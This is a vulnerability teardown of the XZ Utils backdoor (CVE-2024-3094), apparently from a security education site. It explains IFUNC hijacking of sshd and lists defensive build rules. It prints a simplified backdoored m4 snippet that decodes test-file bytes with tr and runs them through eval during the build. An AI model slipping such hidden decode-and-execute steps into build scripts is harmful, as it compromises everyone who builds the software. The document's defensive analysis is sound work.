flawopen.com/Teardowns/CVE-2024-3094 XZ Utils

CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

Critical 10.0 CWE-506 Patch Teardown

ELI5 — The Smuggled Master Key in the Plumbing Pipe

Imagine a bank builds a vault using standard plumbing pipes. The official blueprints are clean. But the factory worker packing the shipping crates slips an invisible electronic wire inside the pipe. When the pipe is screwed into the vault on Linux, the wire taps into the bank's front door lock (OpenSSH), letting the worker open the vault anytime using a secret remote clicker. In CVE-2024-3094, the backdoor was hidden inside build scripts in release tarballs to secretly grant unauthenticated root access over SSH.

Target: OpenSSH daemon (sshd) on systemd-enabled Linux distributions

Vector: Obfuscated Autotools m4 macros in release tarballs decoding binary payloads

Impact: Unauthenticated root Remote Code Execution (RCE) via SSH certificate check

Mechanism: GNU IFUNC resolver hijacking and Global Offset Table (GOT) runtime patching

The Mechanism & Root Cause

The malicious maintainer (Jia Tan) shipped corrupted test files in Git and an obfuscated extraction script in m4/build-to-host.m4 exclusively in official release tarballs. When built on Debian/Fedora, the script patched the compilation of liblzma to hook GNU IFUNC initialization, intercepting OpenSSL's RSA_public_decrypt inside sshd.

m4/build-to-host.m4 (Malicious Tarball)Vulnerable

# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt

m4/build-to-host.m4 (Clean Upstream)Hardened

# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

The Attack & Exploit Sequence

1Linux distributions linked OpenSSH to libsystemd (for startup notification), which linked liblzma for compression.:
2During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.:
3The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.:
4When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.:

Defensive Engineering & Prevention Rules

✓Build Directly from Verified Git Tags: Never trust release tarballs blindly. Build software packages from source repositories with verified Git commit signatures (SLSA Level 3).
✓Enforce Full RELRO in Compilers: Compile binaries with -Wl,-z,relro,-z,now to make the Global Offset Table read-only before user code runs.
✓Audit Transitive Shared Library Dependencies: Avoid linking complex helper libraries (like compression utilities) into security-critical root daemons (like OpenSSH).
✓Automate Build Integrity Diffing: Continuously diff published release tarballs against clean repository checkouts to flag unexpected build macro additions.

Explore related security topics and post-mortems: Complete Security Directory →